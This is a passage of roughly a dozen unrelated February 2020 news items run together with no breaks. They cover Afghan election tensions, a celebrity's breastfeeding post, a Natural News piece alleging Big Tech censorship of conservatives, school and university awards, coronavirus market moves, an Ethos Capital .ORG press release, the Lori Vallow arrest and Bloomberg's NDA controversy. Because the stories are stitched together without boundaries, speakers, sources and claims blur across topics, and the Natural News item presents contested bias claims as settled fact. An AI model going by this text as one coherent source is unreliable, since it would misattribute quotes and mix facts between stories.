back the election, but President Trump called off the talks on the eve of the signing, and the vote went ahead. The political showdown pits the technocratic Mr. Ghani and his circle of young advisers against some of the most hardened figures of the recent Afghan history, survivors of years of battle and deal-making. One of Mr. Abdullahs key supporters is Gen. Abdul Rashid Dostum, who has been accused of an array of violent acts, and until recently served as Mr. Ghanis vice president. General Dostum, who has one of the most unified bases of support in the north, was the first to call for a parallel government, and to urge protests and the announcement of governors in northern provinces. Mr. Abdullahs fate could turn on how willing the general is to push the crisis, and how receptive he is to a deal with Mr. Ghani. Mr. Khalilzad, who was expected to return to Doha to prepare for the signing ceremony, has extended his stay in Afghanistan to manage the political tensions, meeting repeatedly with Mr. Ghani, Mr. Abdullah and other key political players. Late on Thursday, Mr. Khalilzad told a meeting of General Dostums party that the announcement of election results had caught him by surprise, according to one participant. He and Gen. Austin S. Miller, the top American commander in Afghanistan, urged the participants to make sure that political rallies dont turn to violence. Analysts said the conflict was unlikely to affect the first steps of the peace process, as U.S. officials had made it clear to everyone that their priority was starting the violence reduction. But the high-stakes political showdown would make it difficult to move on to the next phase, when a unified negotiating team that includes the Afghan government is expected to sit across from the Taliban. She welcomed her first child, daughter Demelza, with fiance Daniel Day in January. And Amy Willerton shared a sweet snap via Instagram on Thursday, as she gushed about her first time breastfeeding her little one in public, but then detailed her recent struggle to produce milk. The former beauty queen, 27, smiled brightly while fed Demelza and had afternoon tea at The Ivy in Victoria, but told fans she'd 'hardly been producing milk' since her holiday in Dubai in January. Candid: Amy Willerton shared snap of her first time breastfeeding daughter Demelza in public as she detailed her struggle to produce milk for her little one on Instagram on Thursday Writing a lengthy caption to go with the image, she explained: 'Yesterday was my first PUBLIC feed with Dem. 'Seems mad as she's #6weeksold but I've been pumping so always had bottles for when I was out and basically I haven't been brave enough yet... But since I've got back from #Dubai I've hardly been producing any milk !! 'My pumps came out empty every time. And I thought wait , to go from so much to so little seemed mad - there must be a reason.' Of what she believed had happened, Amy went on: 'I assumed #dehydration, and started downing water and taking vitamins but still nothing!' Struggle: Writing a lengthy caption to go with the image, Amy told fans she'd 'hardly been producing milk' since her holiday in Dubai in January Concern: Of what happened, she said that since the holiday 'my pumps came out empty every time. And I thought wait , to go from so much to so little seemed mad - there must be a reason' 'Until my friend said how much time as she been on the boob recently and I realised out of fear and stigma whilst I was away I had mostly been pumping and feeding by bottle... and the times I had tried giving her the boob she got stressed because she missed the fast flow !! 'So I had been giving up. Anyway I decided to give Demz a little nursing holiday and start giving boob all the time again in hope of regaining the flow commiting to this has meant braving the whack out boob moments. 'So thank you @ashleygraham for drinking coffee with your baby the other day so I could feel more comfortable drinking tea with mine. But despite her fears, Amy reassured fans that things were alright as she added: 'I'm already producing more milk again after one day of relentless boob offerings so I can still make bottles and share those night feeds 'the nights have been so much easier when we can use a bottle too and really helps prevent #mastitis so pump too if you can #milkmamas and if you don't want to give your baby bottles you can always donate your extra breast milk to help.' Solution: Of what she did to try and change things, she said: 'I decided to give Demz a little nursing holiday and start giving boob all the time again in hope of regaining the flow' Results: And Amy reassured fans that her decision to breastfeed naturally worked, as she said: 'I'm already producing more milk again after one day' After her daughter's birth on January 4th, Amy spoke with Hello! Magazine and revealed that having her first baby has been 'life-changing.' The star also speaking candidly about her recent horrific mugging which came just hours before she went into labour. Speaking to the publication, Amy said: 'We've been on lockdown, just lapping her up and taking it all in. It feels as though time has stopped because it's just us and our little baby in the cave we've built. 'Having a first baby is truly life-changing. Some people have asked: 'I bet you can't wait for her to walk and talk?' No, no, no. I just want to love every stage.' Smitten: After her daughter's birth on January 4th, Amy spoke with Hello! Magazine and revealed that having her first baby has been 'life-changing' Amy announced the arrival of her first child in a sweet Instagram post, where she enthused she's 'so in love' alongside a snap of her newborn's feet. The new mum wrote on her social media platform: 'You're REAL #lovebubble #newborn #newarrival #cocoonababy #imsoinlove.' [sic] In the heart-warming black-and-white image, the little one was bundled up in a striped babygrow as she rested on a sleeping nest by Cocoonababy. Amy had revealed her pregnancy in October just six months after confirming her engagement to her partner of three years. (Natural News) Its been well documented that the countrys tech behemoths have routinely engaged in censorship and outright bans of conservative and independent media reporting news and opinions that run afoul of their Left-wing sensibilities. But whats been puzzling is why President Donald Trump has not done much about it. Its not that the president hasnt noticed. In March 2019, as NewsTarget reported, Trump called out big tech for colluding with the Democrat Party to silence conservatives ahead of the 2020 election: Liberty-minded tech startups and independent media publishers have been pleading with President Donald Trump to take on the conservative bias and potential anti-trust violations by the Big Tech giants and hes finally done it. Actually its incredible that I won the election because you know it was so rigged against me, he said in an interview with Breitbart News. It wasnt Russians. Russia collusion was a delusion. But what there is, is there was collusion between the Democrats and these tech companies. In July, an explosive video released by Project Veritas featured an interview with a Google engineer who stated unequivocally that the tech giant purposely alters its news/search algorithms to reflect an anti-Trump bias, The National Sentinel reported. Google News is really an aggregator of just a handful of sites and all of those sites really are vitriolically against President Trump, which I would really consider to be interference in the American election, Dr. Greg Coppola told PV. So why hasnt the president instructed his administration to act against this obvious bias? Arent Google and just a handful of other tech giants that dominate the Internet and censor opposing political views guilty of textbook anti-trust violations? Not according to the presidents economic team. As Breitbart News reported: President Donald Trumps economic advisers are skeptical about rewriting antitrust rules to tackle the growing power of tech giants, according to the latest annual Economic Report of the President. The Council of Economic Advisers argue that the monopolistic power wielded by the Masters of the Universe are signs of competitive success. Whats competitive about censorship? The annual report, produced by the presidents Council of Economic Advisers, pushes back against the notion that market concentration of just a few tech giants isnt a good thing for consumers though throughout our history, the government has worked to eliminate concentrated power and monopolies because they are anti-competitive. The New York Times noted further that the Trump administration, in the report, also argues that studies demonstrating rising market concentration of big tech are actually flawed. Concentration may be driven by economies of scale and scope that can lower costs for consumers, the report reads. Also, successful firms tend to grow, and it is important that antitrust enforcement and competition policy not be used to punish firms for their competitive success, it adds. Huh? So, by that logic, it was unwise to break up Ma Bell, the Bell Telephone giant, back in the day, because the company was so successful is that what the report is arguing? Did the U.S. government during the Reagan administration punish Bell Telephone (AT&T) for its competitive success? Its ludicrous to believe that Google, Facebook, and Amazon which control nearly 70 percent of all digital ad spending is competitive. Granted, there are other search engines, but Google controls nearly 88 percent of all search engine traffic; how is it possible, then, for Internet surfers to gain access to information that Google censors decide not to promote (like, say, pro-Trump news reports)? That said, though the presidents Council of Economic Advisers is attempting to justify the market domination (and censorship) of big tech, the Justice Department is taking a different approach, Breitbart News notes. In July last year, the DOJ announced an antitrust probe of Americas biggest tech companies, the site reported, though the disposition of that investigation is unknown. Sources include: Breitbart.com NYTimes.com TheNationalSentinel.com NewsTarget.com The annual Albuquerque Public Schools Metro Youth Art Exhibit, featuring the work of high school and middle school students, opens Friday, Feb. 21, from 4 to 7 p.m. and runs through Friday, March 13. The event is at the Berna Facio Professional Development Complex, 3315 Louisiana NE. Awards will be presented during a closing ceremony beginning at 5:30 p.m. March 13. The APS Fine Arts Department organizes this juried exhibit. Jurors are artists and educators with experience and expertise in particular categories. Advanced art students also serve as jurors to select one piece in each category to receive the Students Choice Award. Ribbons will be awarded for first through third place in each category as well as for honorable mentions. One student will be selected to receive a $1,000 scholarship from the UNM College of Fine Arts. Merit awards also will be handed out. The City of Albuquerque Public Arts Program is expected to continue its tradition of purchasing several pieces from the show to become part of the citys permanent collection. Bernalillo County also selects some pieces. Exhibit hours are Monday through Friday from 9 a.m. to 4 p.m. and on Saturdays, Feb. 29 and March 7, from 9 a.m. to 2 p.m. Parking is free. Posted on Thursday, February 20, 2020 Students and faculty from the Texas A&M University-Kingsville Dick and Mary Lewis College of Agriculture and Natural Resources earned awards from the Subtropical Agriculture and Environments Society Annual Meeting held Friday February 7, 2020 at South Texas College in Weslaco, Texas. Shae Diehl won first place in the undergraduate level competition for her presentation entitled, Changes in agricultural land cover in the Texas panhandle: 2004-2019. Diehl is mentored by Dr. Humberto Perotto, Assistant Professor of Landscape Ecology, Geographic Information Systems, Remote Sensing and Unmanned Aerial Vehicles in the department of Rangeland and Wildlife Sciences. Alvaro Garcia won second place in the graduate level competition for his presentation entitled, Weed management systems in imidazolinone tolerant sorghum (Sorghum bicolor) in South Texas. Garcia is mentored by Dr. Greta Schuster, Professor of Integrated Pest Management and Plant Pathology and Dr. Alinna Umphres-Lopez, Assistant Professor of Weed Science in the Department of Agriculture, Agribusiness and Environmental Sciences. Dr. John da Graca, Executive Director of the A&M-Kingsville Citrus Center won the Special Recognition Award in appreciation of his outstanding and dedicated service to the Society and the citrus industry in the Lower Rio Grande Valley. Dr. Michelle Garcia, Professor, Reproductive Physiology and Molecular Biology in the department of Animal Science and Veterinary Technology at A&M-Kingsville currently serves as the President of the Subtropical Agriculture and Environments Society. About the Subtropical Agriculture and Environments Society The purpose of the Subtropical Agriculture and Environments Society is the advancement and development of subtropical plant sciences, animal sciences and environmental sciences. The Societys aim is to stimulate interest in research and its practical application to the production of crops and animals. The Society sponsors an annual Institute which features outstanding speakers from all parts of the world who present new developments in the field of plant science. The Subtropical Agriculture and Environments Journal provides a continuing record of agricultural, animal and environmental sciences progress. Along with research reports, talks given at the Institute may be published in Subtropical Agriculture and Environments annually. Anyone interested in plant, animal and environmental sciences can become a member of the Society. The British government will demand that all new immigrant workers to Britain speak English as part of its new immigration points system which will be introduced from next year. Obviously, this will include workers from the European Union. Whatever Britain does could mean that the European Union will follow and will Spain demand that all British workers moving to Spain speak Spanish? British expats are not famous for their language skills and I always think that it is one of the delights of this island that people can live and work here with limited or no Spanish. My parents spent 35 years here and couldnt speak a word! But obviously times have changed and these days a level of Spanish is needed if you are going to work on the island. But would Spain really demand that all new British people moving to the island should speak Spanish? I doubt it but it could happen. I think the British government has to be slightly careful when it introduces or plans new legislation; it must remember that it could have a direct impact on thousands of British people who are living or who are planning to live on mainland Europe. I have been told, though, that even attitudes on Majorca are changing. One British woman was told in no uncertain terms by a local doctor that she should speak Spanish. Other people have told me of similar experiences. My view; I think expats should speak Spanish because it improves their quality of life. More cases of the new coronavirus outside China along with warnings by big companies that their earnings could be hurt caused most stock markets to pull back on Friday. "Coronavirus was back at the top of the agenda on Friday, with a rising number of new cases in China and South Korea putting the fear in investors," remarked Spreadex analyst Connor Campbell. European markets struggled despite upbeat manufacturing survey data, after virus-linked losses in most of Asia and the United States. As trading began in New York, the Dow Jones index had given up 0.5 percent. More than 2,200 people have died from the novel coronavirus, and more than 75,000 people have been infected, mostly in China, as fear of the disease spreads worldwide. Two more people died in Iran while infections nearly doubled in South Korea and clusters surfaced in Chinese prisons, rekindling concerns about the outbreak. "European markets are following their Asian counterparts lower ... with a sharp rise in coronavirus cases ensuring that risk appetite remains a key concern for traders," said IG analyst Joshua Mahony. "The spread of coronavirus throughout two Chinese prisons provides another example of the dangers associated with controlling the spread of a virus in densely populated quarters." - Batch of warnings - A batch of warnings from companies over the impact of the virus on their bottom lines -- including Danish ship operator Maersk and Air France-KLM -- and weaker Japanese manufacturing data also fanned anxiety. Initial hopes that the virus would have only a short-term impact on earnings and economic growth have given way to the reluctant realisation that it could linger. In Asia, the stock market in Seoul fell by 1.5 percent as South Korea confirmed 48 more cases on Friday afternoon, adding to 52 announced earlier in the day, and taking the country's total to 204. Tokyo closed down 0.4 percent as investors took to the sidelines ahead of a long weekend. On the upside, Shanghai rose by 0.3 percent following central bank efforts to cushion the virus' impact on the world's second-largest economy. In commodity markets, crude oil prices fell as investors anticipated a drop in Chinese demand. China is the world's biggest importer and consumer of oil -- and prices have been particularly sensitive to the epidemic, affecting dozens of countries and territories. Meanwhile however, demand for gold has grown as investors reduce their exposure to risk. - Key figures around 1430 GMT - London - FTSE 100: DOWN 0.1 percent at 7,426.39 points Frankfurt - DAX 30: DOWN less than 0.1 percent at 13,653.89 Paris - CAC 40: DOWN 0.2 percent at 6,048.69 EURO STOXX 50: DOWN 0.2 percent at 3,813.94 New York - Dow: DOWN 0.5 percent at 29,071.93 Tokyo - Nikkei 225: DOWN 0.4 percent at 23,386.74 (close) Shanghai - Composite: UP 0.3 percent at 3039.67 (close) Hong Kong - Hang Seng: DOWN 1.1 percent at 27,308.81 (close) Euro/dollar: UP at $1.0815 from $1.0785 at 2200 GMT Pound/dollar: UP at $1.2936 from $1.2882 Euro/pound: DOWN at 83.60 pence from 83.72 pence Dollar/yen: DOWN at 111.83 from 112.10 Brent Crude: DOWN 2.1 percent at $58.09 per barrel West Texas Intermediate: DOWN 1.7 percent at $52.97 The Chinese epicentre of Wuhan continues to be badly affected by the new coronavirus [February 21, 2020] Ethos Capital Announces Accountability Initiatives to Secure a Strong Future for .ORG Ethos Capital ("Ethos") today announced several key initiatives that strengthen and reinforce the company's commitments to the .ORG community as part of its acquisition of Public Interest Registry ("PIR"). These initiatives are legally-binding measures that enforce price limits, safeguard against censorship and protect personal data through an amendment to PIR's Registry Agreement with the Internet Corporation for Assigned Names and Numbers ("ICANN") that allows PIR to operate the .ORG top-level domain. This amendment is codified in what is known as a Public Interest Commitment ("PIC"). These legally-binding commitments cannot be unilaterally modified by PIR and will apply to .ORG regardless of who operates .ORG. In connection with these initiatives, PIR has granted ICANN an additional extension to March 20, 2020 to review PIR's submissions. PIR will continue to work collaboratively with ICANN to address any potential outstanding questions by this date. PUBLIC INTEREST COMMITMENT (PIC) In response to the .ORG community's requests for increased clarity around Ethos' commitments, Ethos has voluntarily proposed to add an amendment to PIR's .ORG Registry Agreement with ICANN in the form of a PIC. Upon completion of the acquisition, the PIC will become a legally binding amendment to the current Registry Agreement. It will be enforceable both by ICANN through its compliance department and by members of the community through ICANN's Public Interest Commitments Dispute Resolution Procedure ("PICDRP"). "We have been listening closely to stakeholder feedback - both positive and negative - and have been working diligently to address these specific issues head on," said Erik Brooks, Founder & CEO of Ethos Capital. "A primary request we heard from the .ORG community was for strong enforceability measures to ensure that Ethos would be held accountable to its promises. We are taking these actions to show that we stand firmly behind the commitments we've made - and most importantly - behind the registrants and users who have made .ORG the incredible domain it is today." This Amendment to include the PIC will include the following legally-binding contractual provisions: Affordability of .ORG Domain Names: Fees charged to registrars for initial or renewal registration of a .ORG domain name will not increase by more than 10% per year on average for eight years from the start of the current Registry Agreement, under a precise formula that does not permit front-loading of those price increases. Through this commitment, .ORG will become one of the only TLDs to have a price restriction and it will remain one of the most affordable domains in the world. .ORG Stewardship Council: The .ORG Stewardship Council (the "Council") will have authority to provide independent advice on and a binding right to veto modifications proposed by PIR to PIR's policies regarding (1) censorship and freedom of expression and (2) use of .ORG registrant and user data. The Council will have specific authority to veto any proposals or modifications that would limit the Council's oversight in these areas. No employee, director or member of PIR shall serve on the Council. Community Enablement Fund: PIR will establish a Community Enablement Fund to provide support for initiatives benefitting .ORG registrants and approved by the Council. The commission, charter, and funding of the Community Enablement Fund will be established by PIR's Board with input from the Council. The Council will be responsible for providing recommendations and advice regarding the Community Enablement Fund. Appropriations from the Community Enablement Fund will be subject to approval of the PIR Board. It is anticipated that PIR will contribute $10 million to the Community Enablement Fund over the remaining life of the current Registry Agreement. Annual Public Report: PIR will produce and publish annually a report that assesses PIR's compliance with the PIC commitments and the ways in which PIR pursued activities for the benefit of the registrants of .ORG domain names during the preceding year. .ORG STEWARDSHIP COUNCIL CHARTER In addition to clarifying the role of the .ORG Stewardship Council in the PIC, Ethos has publicly released the .ORG Stewardship Council Charter (the "Charter") outlining the principles and protocols that will govern the administration and operation of the Council. Key components of the Charter are as follows: The Council will have the power to veto changes to .ORG policies in two essential areas, consistent with the values of the .ORG community and with PIR's Anti-Abuse Policy: (1) appropriate imitations and safeguards against censorship of free expression in the .ORG domain name space; and (2) appropriate limitations and safeguards regarding use or disclosure of registration data or other personal data of .ORG domain name registrants and users. The Council will also have authority to veto any changes to the .ORG Stewardship Council Charter that would diminish the Council's rights with respect to policies in these two areas. The Council will provide the PIR Board with independent strategic advice and recommendations to help guide PIR in considering and balancing the best interests of all .ORG stakeholders, in order to help the PIR Board assess how it can promote values that serve the mission-driven goals of the .ORG community. The Council will provide recommendations and advice regarding the Community Enablement Fund established by PIR to provide support for initiatives benefitting .ORG registrants that are consistent with the mission and values of the .ORG community. www.keypointsabout.org/accountability. PUBLIC INTEREST REGISTRY'S FUTURE The acquisition will ensure a bright future for PIR and .ORG registrants and users. Ethos' investment in PIR will deliver significant benefits to the .ORG community, including investment in value-added products and services that will strengthen and grow the .ORG brand. PIR will conduct market studies and surveys to help identify the products and services that can further build the online presence of mission-driven organizations around the world. "PIR's mission has always been to serve the .ORG community, and this agreement with ICANN ensures that we will continue to do just that," said Jon Nevett, CEO of Public Interest Registry. "The binding and enforceable commitments announced by Ethos today ensure protections that support Ethos' pledge to be a responsible partner to PIR. On behalf of the entire team at PIR, we could not be more thrilled to be working with Erik, Nora and the Ethos team. It's clear that they believe in our mission and support the values we've worked so hard to establish over the past 17 years. We hope to complete this transaction in the near future so that we can move forward on building an even stronger .ORG together." THE INTERNET SOCIETY'S FUTURE The transaction will allow the Internet Society to do more for the Internet. The Internet Society will invest the proceeds from the transaction and use the resulting investment income to power the organization's mission of an Internet that is open, globally-connected, trustworthy and secure. The sustainable funding offered by the investments will ensure the Internet Society community efforts to build, promote, and defend the Internet can continue, and that these efforts reach far and wide. By decoupling from its reliance on revenue from the domain name industry, the Internet Society will also achieve a greater degree of independence, allowing it to be a more vocal champion for an open and inclusive Internet that is a force for good for everyone. "With this announcement, Ethos shows that it has been listening to the questions some have raised. Ethos has responded by embedding its commitments on pricing, censorship and data use policies in a legally-binding contract, and giving ICANN and the community the ability to hold Ethos to its commitments. They listened, and responded," said Andrew Sullivan, President and CEO of the Internet Society. "With this in place, and as the Internet Society and PIR advance their missions, the Internet will become stronger, more secure, and more accessible." .ORG COMMUNITY DISCUSSION The principals from Ethos, PIR and the Internet Society will host a community discussion on Thursday, February 27, 2020 from 3:00 - 4:00 PM EST (8:00-9:00 PM UTC) to provide additional details on these important commitments. More information about this event may be found at www.keypointsabout.org/events. Ethos, PIR, and the Internet Society look forward to hosting additional community discussions in the coming weeks. About Ethos Capital Ethos Capital is a specialized investment firm that helps transform and grow established companies in today's rapidly evolving digital economy. Ethos Capital's Founder and CEO, Erik Brooks, has deep expertise and relationships across the business, technical, and social communities that protect and promote the Internet's core founding values. As a mission-driven firm, Ethos Capital is committed to setting the gold standard of ethics and social responsibility for registry operations and supporting a globally connected and resilient Internet. For more information, please visit https://ethoscapital.com/. About Public Interest Registry Public Interest Registry (PIR) is a nonprofit corporation that operates the .ORG top-level domain-one of the world's largest generic top-level domains with more than 10 million domain names registered worldwide. As an advocate for collaboration, safety, and security on the Internet, PIR's mission is to serve as an exemplary registry and to provide a trusted digital identity. PIR strives to educate the global community to use the Internet more safely and effectively while taking a leadership position among Internet stakeholders on policy and other issues relating to the domain naming system. PIR was founded by the Internet Society (https://www.internetsociety.org) in 2002 and is based in Reston, Virginia, USA. Visit Public Interest Registry at https://pir.org. About .ORG .ORG is the original purpose-driven "generic" top-level domain (gTLD) with more than 10 million domain names registered worldwide. .ORG is open to everyone, providing a global platform for organizations, associations, clubs, businesses and individuals to bring their ideas to life. For more than 30 years, .ORG has built an enduring legacy of trust, preserving an open and secure Internet where diverse communities can establish a trusted online identity and freely share ideas. Visit www.TheNew.org for more information. About the Internet Society Founded by Internet pioneers, the Internet Society (ISOC) is a non-profit organization dedicated to ensuring the open development, evolution and use of the Internet. Working through a global community of chapters and members, the Internet Society collaborates with a broad range of groups to promote technologies that keep the Internet safe and secure, and to advocate for policies and infrastructure that enable universal access. The Internet Society also provides a corporate home for the administrative entity that supports the Internet Engineering Task Force (IETF). For additional information, visit https://www.internetsociety.org/. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005221/en/ [ Back To TMCnet.com's Homepage ] The HRC has directed the issue to the LB Nagar DCP and Secretary Board of Intermediate for fair enquiry and justice to the parents. Hyderabad: A petition was filed to the State Human Rights Commission seeking justice on the death of 16-year-old intermediate student of Sri Chaitanya Junior College of Hayathnagar at a supermarket in Vanasthalipuram. The student, who went to DMart last Sunday at about 9 pm, was allegedly caught by the security staff for having stolen chocolates from the store. A resulting manhandling caused his spontaneous death. The petition holds the supermarket and the junior college equally responsible for the death of the student. The college management is being held responsible for failing to take care of the student and provide him protection. The tribal parents, Balaji Nayak and Nagamma, who hail from the Suryapet district, are lamenting the death of their son. The HRC has directed the issue to the LB Nagar DCP and Secretary Board of Intermediate for fair enquiry and justice to the parents. Achyut Rao, the president of Balala Hakkula Sangham, said, There is a need for a thorough investigation. This has intentionally happened to an ST student. And even after the death The college and the DMart making false allegations on the child which tells a clear violation of child rights and basic right to live. UNI New Delhi/UNI: The Bangladesh High Commissioner to India Muhammad Imran, who took over recently, called on External Affairs Minister S. Jaishankar here on Friday. During the meeting the envoy discussed Prime Minister Narendra Modis upcoming visit to Bangladesh to attend the centenary celebration of Father of the Nation Bangabandhu Sheikh Mujibur Rahman to be held in Dhaka on March 17, according to a release by Bangladesh High Commission here. Bangladesh will commence the formal celebration of the centenary, known as Mujib Satoborsha 2020-21, on March 17 marking the birthday of Bangabandhu, who led Bangladeshs 1971 War of Liberation. Describing Bangabandhu as a global leader, Dr Jaishankar said that Indians remember him with profound respect. He expressed satisfaction at the excellent bilateral relations existing between the two closest neighbours. India attaches special importance to its relations with Bangladesh, he told the High Commissioner. Imran conveyed Dhakas appreciation for Indias friendly gesture to evacuate several Bangladeshis stranded in Chinas Huwai province in the wake of an outbreak of Corona virus there. ``Pleased to receive the new High Commissioner of Bangladesh Muhammad Imran. Appreciated the extraordinary transformation in ties over the last few years. Confident it will rise to even greater heights,' Dr Jaishankar said in a tweet. The envoy assured the Minister of doing his best to take the bilateral relations to greater heights during his tenure in India. Police in Hawaii on Thursday announced the arrest of Lori Vallow, the mother of two missing Idaho children who haven't been seen since September. The Kauai Police Department released a statement on Twitter saying Vallow, 46, was arrested on a warrant issued by Madison County, Idaho. She's charged with two felony counts of desertion and nonsupport of dependent children, KPD said. She was also charged with resisting or obstructing officers, criminal solicitation to commit a crime and contempt of court. She's being held on $5 million bail, according to KPD. Police said Vallow was arrested in Princeville, and her new husband, Chad Daybell, was not arrested. Keep up with this story this weekend: Get USA TODAY's Daily Briefing in your inbox. Sign up here. "First of all, we wish to thank the public for the massive outpouring of concern regarding this case," Kauai Chief of Police Todd Raybuck said in a statement. "We also want to thank everyone for their patience while investigators worked diligently to comprehensively gather everything they needed in order to obtain this arrest warrant." What to know about her cult-like beliefs: 2 Idaho kids still missing, mom said she was 'a god' KPD said there is "no indication" Vallow's children are on Kauai and there are no criminal charges against Vallow on Kauai. Vallow will next have a court date where she can "waive or fight her extradition to Idaho," where she'll face criminal charges, according to KPD. The arrest comes after KPD obtained a search warrant in January for Vallow's rented vehicle, as well as the condo she was sharing with Chad Daybell. Lori Vallow was arrested in Hawaii on Thursday. She is the mother of two missing Idaho children who haven't been seen since September. Joshua "JJ" Vallow, 7, and Tylee Ryan, 17, have not been seen since Sept. 23, 2019, in Rexburg, but the bizarre case spans multiple states and suspicious death investigations along with allegations of a "doomsday cult." The Rexburg Police Department first announced Joshua and Tylee were missing on Dec. 20, 2019. The department said they were working with the Freemont County Sheriff's Office and FBI to locate the two minors who had not been seen since Sept. 23, 2019. KPD said Rexburg police asked for its help in December 2019. Story continues At the same time, authorities said they were opening an investigation into Tammy Daybell's Oct. 19 death, initially said to be due to natural causes. Tammy's remains were exhumed from her grave in Utah on Dec. 11 for an autopsy as police said her death "may be suspicious." Tammy and Chad Daybell had been married for roughly 30 years with five children. Within weeks, he married Lori Vallow. Vallow had a number of deaths connected to her as well. In 2018, ex-husband, Joseph Ryan, died of an apparent heart attack. In July, another ex-husband, Charles Vallow, was fatally shot by her brother Alex Cox at her home in Arizona. Cox told police the estranged spouses were fighting, and he intervened. He shot Charles twice in the chest and claimed self-defense, but police later said they had an open homicide investigation into the incident. Months later, Cox was dead, too. He was found unresponsive, and autopsy results are pending. Rexburg police tried to perform a welfare check on Joshua on Nov. 26 after his biological grandparents, Kay and Larry Woodcock, contacted the department because they said they had not heard from the boy in months. Lori Vallow moved the kids to Idaho in August but did not tell the Woodcocks or other family members where they were. The department said Lori and Chad Daybell lied to police, saying Joshua was with a family friend in Arizona. The next day, they performed a search warrant at their home and found the newlyweds had fled Rexburg. Vallow and Daybell did not have the children when they left Rexburg, and police said later in December they had evidence to suggest Vallow knew where her children were or what happened to them. The couple was uncooperative in the investigation and the children's lives were in danger, police said. Both Vallow and Daybell lied about the children, police said. The couple allegedly told a witness that Tylee had died a year before her father's death, and Chad allegedly told someone Lori had no minor children. Background: Lori Vallow, mother of two missing Idaho children, found in Hawaii with new husband An attorney for the couple denied any wrongdoing, calling them "loving" and "devoted." In the following weeks, the details about Lori's life, religious beliefs and past marriages trickled out but the children were nowhere to be seen. The Woodcocks offered a $20,000 reward for information leading to the children. On Jan. 25, the couple reappeared, this time on the Hawaiian island of Kauai though the children were not with him, and a development in the case: Prosecutors in Idaho gave Lori five days to bring the children to authorities in Rexburg. Failure to do so risked her facing a civil or criminal contempt of court charge. When Jan. 30 came, the children were still nowhere to be found. "I'm not at all surprised of that," Woodcock told reporters then. "Lori's not going to make this easy." Underpinning the mystery were the apocalyptic religious beliefs Lori and Chad Daybell allegedly held. According to divorce records, Charles Vallow alleged Lori didn't want anything to do with him or Joshua "because she had a more important mission to carry out" and claimed she was "a god assigned to carry out the work of the 144,000 at Christ's second coming in July 2020." She also told Charles that she would kill him if he got in her way and that she had "an angel there to help her dispose of the body," court documents said. Chad Daybell wrote dozens of books on apocalyptic events and near-death experiences. In his 2017 autobiography, he wrote of many experiences in the presence of spirits, both of his relatives and of others, and said of his near-death experiences, "I could see on the other side of the veil." He also published novels based on visions of "the decline and downfall of the United States" and an "upcoming foreign invasion of America." Kay Woodcock, Joshua's biological grandmother and Charles Vallow's sister, said Lori was a "wonderful, loving, attentive mother" until things started changing in the past 18 months because of her involvement with a new religious group, which Woodcock called a "cult." Tylee Ryan's aunt, Annie Cushing, told KSL-TV Lori Vallow had always been religious but became obsessed with the end times in recent years. Contributing: Jessica Boehm and Chelsea Curtis, Arizona Republic This article originally appeared on USA TODAY: Lori Vallow: Mom of missing Idaho children arrested in Hawaii WASHINGTON Mike Bloombergs name last appeared on a ballot a decade before #MeToo transformed cultural mores surrounding sexual harassment and the treatment of women. As he campaigns for the presidency, the 78-year-old billionaire is struggling to adjust. The former New York City mayor was caught flat-footed during much of Wednesday nights debate when rival Elizabeth Warren blasted his companys use of non-disclosure agreements in cases of sexual harassment. She sought to portray such agreements as endemic of a broader culture of sexism at the company, Bloomberg LP, when he was CEO. Bloombergs response was dismissive. He said some of those who alleged misconduct didnt like a joke I told and argued that non-disclosure agreements were consensual deals supported by the women involved. The response struck some women as out of touch with how the #MeToo movement has reshaped the conversation around sexual harassment in the workplace and the use of non-disclosure agreements in particular. Employment lawyer Debra Katz, who represented accuser Christine Blasey Ford in her Senate testimony against then-Supreme Court nominee Brett Kavanaugh, said Bloombergs comments really missed the mark. I think Bloombergs comments were tone-deaf, she said. In this moment, when we now understand that many NDAs were entered into in coercive manners, its incumbent upon companies and especially those (led by people) like Bloomberg, who are public figures, to agree to revisit these issues. The episode could cost Bloomberg some support from women, who are crucial to winning the Democratic nomination and defeating President Donald Trump. Warren kept up the pressure on Thursday, saying when women complain, Bloomberg can throw a little money on it, put a little gag in the womans mouth. Bloomberg campaigned Thursday in Salt Lake City, Utah, where he showed no sign of changing his approach, bemoaning the division on display during the debate and reinforcing his central point that hes best positioned to beat Trump. Still, his rise in the polls is prompting scrutiny of Bloombergs company. Bloomberg LP has reportedly faced nearly 40 lawsuits involving 65 plaintiffs on an array of employment issues between 1996 and 2016. Its unclear how many of these cases were related to sexual harassment, but a number of recent media reports have disclosed charges of sexist comments made by Bloomberg and other managers at the company. Earlier this month, The Washington Post published a long-rumored joke book of crude comments Bloomberg allegedly made about women from 1990. His campaign has said he never made any of the comments disclosed in the booklet. But Tina Tchen, the CEO and president of Times Up, the organization created to fight sexual harassment in the wake of #MeToo, said she wasnt surprised by allegations about the culture at Bloomberg LP. Being in the finance world, having worked in a corporate law firm myself in the 80s and 90s, I think its fair to say that workplaces, especially the Wall Street workplace, was a very different place in terms of the comments that were considered normal and accepted, she said. But she said, now, most companies have evolved, and are continuing to evolve, particularly on the issue of NDAs. She noted that NDAs have long been a tool that have silenced survivors of sexual harassment and really take agency away from survivors. They can also make it tougher for a company to correct a culture of sexual harassment, because the secrecy surrounding these incidents mean employees and managers dont know how widespread they are. Tchen said it would be perfectly reasonable for Bloomberg to amend the NDAs now. Knowing what we all know now about the workplace and sexual harassment, are you willing to, now, allow folks to speak up about their experience? she asked. Many types of litigation, from insurance cases to product liability, are routinely settled through confidential settlements. In sexual misconduct cases, theyve served to protect the privacy of victims as well as the careers and reputations of the accused, including comedian Bill Cosby, Hollywood mogul Harvey Weinstein, Fox News host Bill OReilly and other powerful men. In the wake of the #MeToo movement, some think the practice should be revisited. One interesting thing is whether it will be an end to the confidentiality pledge, Supreme Court Justice Ruth Bader Ginsburg said at a February 2018 event at the National Constitution Center in Philadelphia. I hope those agreements will not be enforced by courts, she added in a revised version of the speech published last year. Katz said that while theres a role for non-disclosure agreements to help victims preserve their privacy, and that the majority of her clients prefer to keep their agreements confidential, she believes public figures like Bloomberg should release them from the secrecy clause if they want to go public. Certainly in this environment, Bloomberg needs to be transparent, she said. And, if in fact, there was nothing that implicated his conduct in these agreements, he should want to have them be made public. But to the extent that he presided as CEO of these companies and simply paid settlements as the cost of doing business, and didnt take appropriate corrective measures, thats certainly something that should be important for voters to know about. A number of current and former employees have spoken out in defense of Bloomberg, and say his promotion of women and advocacy on womens issues has long been one of his strengths. Bloomberg himself noted on the debate stage that he has employed and elevated many women to positions of leadership within his organization and his mayoral administration. He appointed the first woman to serve as deputy mayor, and has donated tens of millions of dollars to organizations promoting womens reproductive rights and other womens rights efforts. Fatima Shamah, who currently serves on the 